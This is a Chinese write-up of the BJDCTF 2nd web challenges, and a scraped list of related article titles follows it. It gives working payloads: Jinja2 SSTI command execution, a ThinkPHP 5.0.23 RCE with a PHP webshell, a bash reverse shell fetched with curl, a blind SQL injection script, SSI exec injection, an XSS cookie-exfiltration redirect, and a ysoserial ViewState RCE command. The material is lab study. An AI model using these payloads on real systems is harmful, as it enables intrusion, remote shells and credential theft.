[BJDCTF 2nd] Web复现 wp
文章目录
- [BJDCTF 2nd] fake google
- [BJDCTF 2nd]old-hack
- [BJDCTF 2nd]假猪套天下第一
- [BJDCTF 2nd]duangShell
- [BJDCTF 2nd]简单注入
- [BJDCTF 2nd]Schrödinger
- [BJDCTF2020]EasySearch
- [BJDCTF 2nd]xss之光
- [BJDCTF 2nd]文件探测
- [BJDCTF 2nd]EasyAspDotNet
[BJDCTF 2nd] fake google
要点:SSTI模板注入(python jinjia2模板)
测试网站 发现存在模板注入{{4*‘7’}}
返回 28,发现是python Jinja2
模板
构造payload实现任意命令执行
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag').read()")}}{% endif %}{% endfor %}
具体内容(任意命令执行隐藏在其中 替换<commend>内容即可)
{% for c in [].class.base.subclasses() %}
{% if c.name==‘catch_warnings’ %}
{{ c.init.globals[‘builtins’].eval(“import(‘os’).popen(’<commend>’).read()”)}}
{% endif %}{% endfor %}
[BJDCTF 2nd]old-hack
要点:thinkphp5框架漏洞(任意命令执行)
访问页面提示了是 thinkphp5框架的网站
构造一个ThinkPHP的报错看一下详细版本
http://a504dd5e-6b7c-407f-ab11-ee1c9efdc3f3.node3.buuoj.cn/index.php?s=1
或
http://a504dd5e-6b7c-407f-ab11-ee1c9efdc3f3.node3.buuoj.cn/index.php?s=captcha
报错获得版本号为5.0.23
,通过百度查询thinkphp版本5.0.23的漏洞
Thinkphp5远程命令执行漏洞
漏洞描述:由于thinkphp对框架中的核心Requests类的method方法提供了表单请求伪造,该功能利用 $_POST[’_method’]来传递真实的请求方法。但由于框架没有对参数进行验证,导致攻击者可以设置$_POST[’_method’]=’__construct’而让该类的变量被覆盖。攻击者利用该方式将filter变量覆盖为system等函数名,当内部进行参数过滤时便会进行执行任意命令。
构造payload,进行任意命令执行(修改server[REQUEST_METHOD]
变量的值进行命令执行)
URL:http://d410122a-6788-4716-b3b2-09dacb81ac49.node3.buuoj.cn
Post值:_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls /
获得目录文件
再通过cat /flag 获得flag值
PS:也可以通过传入一句话木马, 进行getshell
构造post值:
_method=__construct&filter[]=system&server[REQUEST_METHOD]=echo '<?php @eval($_POST[cmd]);?>' >shell.php
利用蚁剑获得整个网站目录权限
[BJDCTF 2nd]假猪套天下第一
要点:HTTP Header消息头(本质就是套娃)
任意登录,burp抓包,获的.php网页
层层套娃
第一层:访问,提示要99年后才能访问,修改请求头的time值,修改成一个很大的数字
第二层:只允许本地请求访问,伪造IP,添加Client-ip
或XFF
(本题不允许)头绕过
第三层:检测跳转前的网址 ,添加Referer
头绕过
第四层:检查使用的浏览器 ,添加user-agent
头绕过 值为:Commodore 64
第五层:检测发出请求的用户的Email,添加from
头绕过
第六层:检测代理服务器地址,添加via
头绕过
获得flag
HTTP Header消息头参考:https://www.cnblogs.com/benbenfishfish/p/5821091.html
[BJDCTF 2nd]duangShell
要点:nc命令反弹shell
进去提示swp源代码泄露,访问http://xxx/.index.php.swp下载该文件
编辑器vim异常退出产生缓存导致信息泄露
以 index.php 为例
(1)第一次产生的缓存文件名为 .index.php.swp
(2)第二次意外退出后,文件名为 .index.php.swo
(3)第三次产生的缓存文件则为 .index.php.swn
PS:注意index前有 " . "
恢复文件操作:执行 vim -r .文件名 获取源码
<html lang="en">
<head><meta charset="UTF-8"><title>give me a girl</title>
</head>
<body><center><h1>珍爱网</h1></center>
</body>
</html>
<?phperror_reporting(0);echo "how can i give you source code? .swp?!"."<br>";if (!isset($_POST['girl_friend'])) {die("where is P3rh4ps's girl friend ???");} else {$girl = $_POST['];if (preg_match('/\>|\\\/', $girl)) {die('just girl');} else if (preg_match('/ls|phpinfo|cat|\%|\^|\~|base64|xxd|echo|\$/i', $girl)) {echo "<img src='img/p3_need_beautiful_gf.png'> <!-- He is p3 -->";} else {//duangShell~~~~exec($girl);}
}
?>
因为exec()无回显,而且没有禁curl。所以可以反弹shell~~
在buu新建一个小号,打开Basic Labs下的一台靶机,用于监听
查看靶机的ip地址
ifconfig
获得主机IP地址进入/var/www/html写入一个shell.txt文件
内容:bash -i >& /dev/tcp/ip/port 0>&1
ip 为内网主机的ip地址,port端口随意启动监听服务:
nc -lvvp 端口
post一个girlfriend的值:
girl_friend=curl 监听IP/shell.txt|bash
连接上靶机,允许执行系统命令 利用
find / -name flag
获取flag文件 cat执行获取flag值
.swp为vim编辑器在编辑时因为异常退出生成的备份文件,利用命令vim -r
可恢复文件
[BJDCTF 2nd]简单注入
要点:SQL注入
访问题目,一个登录框
访问robots.txt获取hint信息
既然是注入题,先进行一波fuzz测试,看看有没有黑名单,大部分被过滤
过滤字符
union , select , = , ' , & , && , - , " , and 等
方法1:\ 转义单引号 逃逸
例:
传入admin\ 和 or/**/length(database())>0#会回显stronger字样传入admin\ 和 or/**/length(database())<0#会回显girl friend字样
写脚本进行盲注获取用户名和密码
import requests
url = "http://94ec392f-66af-49b4-8652-7bdf81fd95d0.node3.buuoj.cn/index.php"data = {"username":"admin\\","password":""}
result = ""
i = 0while( True ):i = i + 1head=32tail=127while( head < tail ):mid = (head + tail) >> 1#payload = "or/**/if(ascii(substr(username,%d,1))>%d,1,0)#"%(i,mid)payload = "or/**/if(ascii(substr(password,%d,1))>%d,1,0)#"%(i,mid)data['password'] = payloadr = requests.post(url,data=data)if "stronger" in r.text :head = mid + 1else:tail = midlast = resultif head!=32:result += chr(head)else:breakprint(result)
脚本跑出用户名和密码 登录获取flag
方法2:正则表达式盲注(先放着后期学习)
参考文章:https://www.freesion.com/article/2367234678/
[BJDCTF 2nd]Schrödinger
要点:时间戳
进入题目,直接谷歌翻译
大致是在列表单中提交一个URL,页面将会尝试爆破,爆破时间越久成功率越高。
查看源码是否有提示信息,发现有test.php,尝试访问
提示我们在admin的密码中留了东西。结合刚刚主页面的爆破,应该是利用主页面将admin的密码爆破出来,于是,将这个url填入主页面的表单中。然后check,但提示爆破失败。
重新测试,利用burp抓包看看内容,发现有个参数,进行base64解码后判断应该是时间戳,利用在线工具转换,发现是当前的时间
猜测修改时间戳会使成功率改变,直接改成0 ,提示爆破成功
获得内容,是B站的AV号 后面的依旧是时间戳 ,找到视频并找到对应的时间戳的评论获得flag(暴打出题人)
[BJDCTF2020]EasySearch
要点: SSI注入
扫描一下目录,发现.swp备份文件源码泄露,访问获取源码
<?phpob_start();function get_hash(){$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times$content = uniqid().$random;return sha1($content); }header("Content-Type: text/html;charset=utf-8");***if(isset($_POST['username']) and $_POST['username'] != '' ){$admin = '6d0bc1';if ( $admin == substr(md5($_POST['password']),0,6)) {echo "<script>alert('[+] Welcome to manage system')</script>";$file_shtml = "public/".get_hash().".shtml";$shtml = fopen($file_shtml, "w") or die("Unable to open file!");$text = '******<h1>Hello,'.$_POST['username'].'</h1>******';fwrite($shtml,$text);fclose($shtml);***echo "[!] Header error ...";} else {echo "<script>alert('[!] Failed')</script>";}else{***}***
?>
简单的代码审计,当substr(md5($password'),0,6)= '6d0bc1'
即可登录成功,并在public目录下创建一个shtml文件,再将post传参的username字段写入这个shtml文件中。
password的值可直接利用脚本爆破
对登录过程进行抓包可以发现生成的shtml文件的路径
访问该路径 显示了用户名,时间和当前访客IP,这部分的动态输出使用的应该是SSI,猜测存在SSI注入
利用SSI注入漏洞,我们可以在username变量中传入ssi语句来远程执行系统命令。
(SSI 注入全称Server-Side Includes Injection,即服务端包含注入。SSI 是类似于
CGI,用于动态页面的指令。SSI 注入允许远程在 Web
应用中注入脚本来执行代码。SSI是嵌入HTML页面中的指令,在页面被提供时由服务器进行运算,以对现有HTML页面增加动态生成的内容,而无须通过CGI程序提供其整个页面,或者使用其他动态技术。从技术角度上来说,SSI就是在HTML文件中,可以通过注释行调用的命令或指针,即允许通过在HTML页面注入脚本或远程执行任意代码。IIS和Apache都可以开启SSI功能)
SSI注入的条件:
1.Web 服务器已支持SSI(服务器端包含)
2.Web 应用程序未对对相关SSI关键字做过滤
3.Web 应用程序在返回响应的HTML页面时,嵌入用户输入)
输入payload:<!--#exec cmd="ls ../"-->
登录,访问network处的url
访问返回包header头中的url,可以获得flag文件,回到登录输入payload:<!--#exec cmd="cat ../flagxxxxx"-->
执行命令获取flag
资料参考:服务器端包含注入SSI分析总结
[BJDCTF 2nd]xss之光
要点:git泄露、PHP原生类反序列化
进行路径扫描发现存在.git源码泄露,下载获得index的源码
<?php
$a = $_GET['yds_is_so_beautiful'];
echo unserialize($a);
?>
提供GET参数,进行了反序列化,但没有提供具体类的情况下,我们可以进行原生类反序列化,参考资料:反序列化之PHP原生类的利用
根据源码有个echo 最好是对有__toString()方法的类进行反序列化,在__toString()原生类反序列化中,常用的是Error和Exception类,但是Error是php7专有,用查看看了下发现题目环境是php5:
所以用Exception反序列化,要注意的是它反序列化只能xss
本地构造payload获得恶意的序列化值
<?php$a = serialize(new Exception("<script>window.location.href='IP'+document.cookie</script>"));echo urlencode($a);?>
将获得的值传入题目在url地址中直接获取到flag
[BJDCTF 2nd]文件探测
要点:SSRF,sprintf格式化字符串漏洞
进入题目,花里胡哨的页面没有什么用;
发现响应包里面有个提示,hint:home.php
,访问一下
根据提示进入home.php,发现URL变成了:
http://d3a0ad27-3c95-46f7-bfc2-208e580c984b.node3.buuoj.cn/home.php?file=system
file的值是system,实际上包含的是system.php文件,猜测后端应该是自动拼接拓展名的
怀疑存在文件包含,用php://filter伪协议试着读一下:
php://filter/read=convert.base64-encode/resource=home
解码获得home.php的源码:
使用php://filter伪协议读取system的代码 主要代码:
<?php$filter1 = '/^http:\/\/127\.0\.0\.1\//i';
$filter2 = '/.?f.?l.?a.?g.?/i';if (isset($_POST['q1']) && isset($_POST['q2']) && isset($_POST['q3']) ) {$url = $_POST['q2'].".y1ng.txt";$method = $_POST['q3'];$str1 = "~$ python fuck.py -u \"".$url ."\" -M $method -U y1ng -P admin123123 --neglect-negative --debug --hint=xiangdemei<br>";echo $str1;if (!preg_match($filter1, $url) ){die($str2);}if (preg_match($filter2, $url)) {die($str3);}if (!preg_match('/^GET/i', $method) && !preg_match('/^POST/i', $method)) {die($str4);}$detect = @file_get_contents($url, false);print(sprintf("$url method&content_size:$method%d", $detect));
}
?>
system.php会接收三个POST值
我们可以获取到以下的限制条件:
1.不能包含有flag字符串
2.q2的值必须以http://127.0.0.1/开头,其实相当于是限制了只能通过SSRF读取文件
3.POST获取了q1、q2、q3三个值,其中q1值并没有什么限制,q2后会拼接“.y1ng.txt”字符串,q3中需要以GET或POST字符串开头。
首先是无法直接读取到flag文件,通过home.php文件的源码我们可以猜测应该还存在admin.php文件,
其次就是我们传进去的URL即q2值会被拼接上无用字符串,我们可以通过在URL后加 “?a=(GET赋值给一个参数)” 或 “#(锚点)” 来让其失效,
最后一个考的点就是在这两行代码上:
$detect = @file_get_contents($url, false);
print(sprintf("$url method&content_size:$method%d", $detect));
我们需要file_get_contents() 读取文件信息,但%d会将$detect(即源码)以二进制数的形式输出,我们无法获得需要的源码
这里利用sprintf格式化字符串漏洞
%1$s
—— 这种办法原理是%1$s会将第一个参数用string类型输出,而这道题中第一个参数便是admin.php的源码,语句是:
print(sprintf("$url method&content_size:"GET%1$s%d", $detect)); // %1$s会以字符串格式输出$detect,而%d会输出0
%s%
—— 这种办法的原理是sprintf()函数中%可以转义掉%,这样语句就变成了:
print(sprintf("$url method&content_size:"GET%s%%d", $detect)); // %d前的%被转义
构造出Payload,POST发送给system.php即可获得admin.php的源码:
q1=1&q2=http://127.0.0.1/admin.php#&q3=GET%1$s
部分admin.php代码
<?php
if (isset($_GET['decrypt'])) { //只要传入decrypt参数就不会生成随机数$decr = $_GET['decrypt'];if (Check()){$data = $_SESSION['secret'];include 'flag_2sln2ndln2klnlksnf.php';$cipher = aesEn($data, 'y1ng'); //注意!这里加密的内容是从SESSION中取的,突破点就在这里if ($decr === $cipher){echo WHAT_YOU_WANT; } else {die('爬');}} else{header("Refresh:0.1;url=index.php");}
} else {//I heard you can break PHP mt_rand seedmt_srand(rand(0,9999999)); //这里的种子是真随机了,无法爆破$length = mt_rand(40,80);$_SESSION['secret'] = bin2hex(random_bytes($length));
}
?>
hint
session绕过。删除cookie,没有cookie中的SESSIONID就找不到对应的session文件,相应的$_SESSION[‘var’]就为NULL,传参NULL。
当访问admin.php时,删除session访问,代码就会变成:
$cipher = aesEn(NULL, 'y1ng');
因此我们就可以计算出密钥,从而获得Flag。
把加密算法改一下得到:
function aesEn($data, $key){$method = 'AES-128-CBC';$iv = md5('174.0.222.75',true); //修改IPreturn base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv));
}echo aesEn('', 'y1ng')
构造payload,拼接获得的密文,清楚cookie访问获取flag
/admin.php?decrypt=xxxx
[BJDCTF 2nd]EasyAspDotNet
要点:
任意文件读取
ASP.NET VIEWSTATE 反序列化
CVE-2020-0688
Windows 命令行基本操作
这是一道windows的题
aspx后缀的页面,通常都有一个配置文件web.config.这题存在任意文件泄露。
click后查看源代码,会发现图片的位置所在,复制到url中
ImgLoad.aspx?path=4.gif
注意他的url,应该是存在文件包含读取,通过路径穿越可以读取到web.config文件
Web.config文件是一个XML文本文件,它用来储存ASP.NETWeb 应用程序的配置信息(如最常用的设置ASP.NETWeb
应用程序的身份验证方式),它可以出现在应用程序的每一个目录中。当你通过.NET新建一个Web应用程序后,默认情况下会在根目录自动创建一个默认的Web.config文件,包括默认的配置设置,所有的子目录都继承它的配置设置。如果你想修改子目录的配置设置,你可以在该子目录下新建一个Web.config文件。它可以提供除从父目录继承的配置信息以外的配置信息,也可以重写或修改父目录中定义的设置
ImgLoad.aspx?path=../../web.config
(Ps:因为是图片无法直接查看其源码,可以直接在url前加上view-source:url 去获取,但可能不同浏览器有所不同,谷歌可以但火狐不行,可以利用curl去获取或者迅雷下载)
查看 web.config 的内容,其中 machineKey 中的值均为固定值,参考该wp最下面的资料,这些值用来加密反序列化之后的 VIEWSTATE 等值。
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<machineKey validationKey="47A7D23AF52BEF07FB9EE7BD395CD9E19937682ECB288913CE758DE5035CF40DC4DB2B08479BF630CFEAF0BDFEE7242FC54D89745F7AF77790A4B5855A08EAC9" decryptionKey="B0E528C949E59127E7469C9AF0764506BAFD2AB8150A75A5" validation="SHA1" decryption="3DES" />
</system.web>
</configuration>
有了 VIEWSTATE 的加密密钥,我们就可以根据文章中的方法构造一个带回显的 VIEWSTATE Payload,来让服务器反序列化然后 RCE。
利用工具ysoserial:下载链接->ysoserial.net的exe版本
使用方法:
这里我们还缺少利用的ExploitClass.cs文件(构造带回显的 VIEWSTATE Payload,实现RCE)
下载地址:ExploitClass.cs、System.Web.dll、System.dll文件
执行命令获取
ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -c "ExploitClass.cs;./System.dll;./System.Web.dll" --generator="CA0B0334" --validationalg="SHA1" --validationkey="47A7D23AF52BEF07FB9EE7BD395CD9E19937682ECB288913CE758DE5035CF40DC4DB2B08479BF630CFEAF0BDFEE7242FC54D89745F7AF77790A4B5855A08EAC9"
将得到的 Payload 放入 POST 的请求的 VIEWSTATE,再将命令写入 cmd,发送即可 RCE。
利用抓包工具(Postman或burp,如果是burp需要注意一下将获得的__VIEWSTATE值进行url编码,不然会出现一些问题)
参考资料:
(1)玩轉 ASP.NET VIEWSTATE 反序列化攻擊、建立無檔案後門
(2)如何借助ViewState在ASP.NET中实现反序列化漏洞利用
[BJDCTF 2nd] Web复现 wp相关推荐
- BJDCTF 2nd WEB
BJDCTF 2nd WEB emmm,比赛做了几道题,赛后官方给了wp,把没做出来的复现一下,,,, [BJDCTF 2nd]fake google 一个SSTI,发现是jinja2的,直接用pay ...
- 【BJDCTF 2nd—Web】做题+复现记录
fake google 随便输入然后查看源代码发现 ssti,应该是服务器模板注入,查了一个payload直接就可以查到flag {{().__class__.__bases__[0].__subcl ...
- [BJDCTF 2nd] web题-假猪套天下第一
复现环境:buuoj.cn 出题人是y1ng师傅~ 使用admin登录有提示框. 使用其他账号登录获取数据包发现有其他页面 访问这个页面 翻译过来,意思是抱歉,此网站将在99年后开放! 抓包发现有时间 ...
- [BJDCTF 2nd]fake google -wp
打开后一个google搜索框,查看源码没什么,随便输入点东西搜索 查看源码,提示ssti 测试一下,存在ssti 1 .获取字符串的类对象 ''.__class__ 2 .寻找基类 ''.__clas ...
- BJDCTF 2nd -Crypto
BJDCTF 2nd -Crypto cat_flag 在这里插入图片描述 思路 灵能精通-y1ng 题目 思路 燕言燕语-y1ng 题目 思路 Y1nglish-y1ng 题目 思路 cat_fla ...
- 逆天通用水印支持Winform,WPF,Web,WP,Win10。支持位置选择(9个位置 ==》[X])...
常用技能:http://www.cnblogs.com/dunitian/p/4822808.html#skill 逆天博客:http://dnt.dkil.net 逆天通用水印扩展篇~新增剪贴板系列 ...
- [BUUCTF-pwn]——[BJDCTF 2nd]secret
[BUUCTF-pwn]--[BJDCTF 2nd]secret 这道题目,看就考验你的汇编能力了. 因为在反汇编的过程中,有一个函数过大,无法反汇编 在IDA中看到一个格外令人喜欢的东西,可是if ...
- [BUUCTF-pwn]——[BJDCTF 2nd]rci
[BUUCTF-pwn]--[BJDCTF 2nd]rci 题目地址: https://buuoj.cn/challenges#[BJDCTF%202nd]rci checksec 检查和 IDA大家 ...
- [BUUCTF-pwn]——[BJDCTF 2nd]ydsneedgirlfriend2
[BUUCTF-pwn]--[BJDCTF 2nd]ydsneedgirlfriend2 题目地址:https://buuoj.cn/challenges#[BJDCTF%202nd]ydsneedg ...
最新文章
- 独家 | 利用Cosmos微服务改善Netflix视频质量
- 写给计算机老师的一封信800,写给老师的一封信800字作文(一)
- 史上最全的并发编程学习
- cf1491C. Pekora and Trampoline
- inputstream 初始化_如何完美回答面试官问的Mybatis初始化原理!
- 无法将输入值传递给JavaScript变量
- idea非开源安装指南_开发人员开源指南
- 10年经验总结,华为fellow教你如何成为一名优秀的架构师?
- linux7添加端口过程,CentOS7安装firewalld防火墙添加放行端口简单演示过程
- C++socket编程(三):3.5 accept读取用户的连接信息
- 大数据项目实战-电商日志平台
- 大数据与云计算的理解与基本认识
- 运算放大器 你想知道的都在这里
- 一米村长讲故事机器人_村长讲故事
- Appium 屏幕截图(交易宝)
- 人才缺口上百万,年薪50万+!
- 通过小宝的卡牌游戏,看开源SCUT服务器运行使用
- 深度学习OSSIM关联分析(附源码注解)
- 360网站卫士cdn全面转向奇安信
- SBI集团向“Smart Card”钱包制造商投资1500万美元
热门文章
- php 导出excel删除空行,将Excel数据写入Word模板并删除多余的空行
- 第10章 车间工位吊 多工况移动载荷分析(多工况的添加、结果分析) 多工况计算
- 对比python字符串函数,学习pandas的str矢量化字符串函数
- 哈希函数 直接定址法 除留余数法
- 微信支付获取prepay_id以及回调地址
- Flink菜鸟教程(二)——时间概念
- 阿里云服务器好吗?阿里云服务器ECS有什么优势
- ipv4v6双栈技术_IPv4、IPv6双栈方法
- 面向NLP的AI产品方法论——如何设计多轮语音技能
- [Android] 隐藏头顶状态栏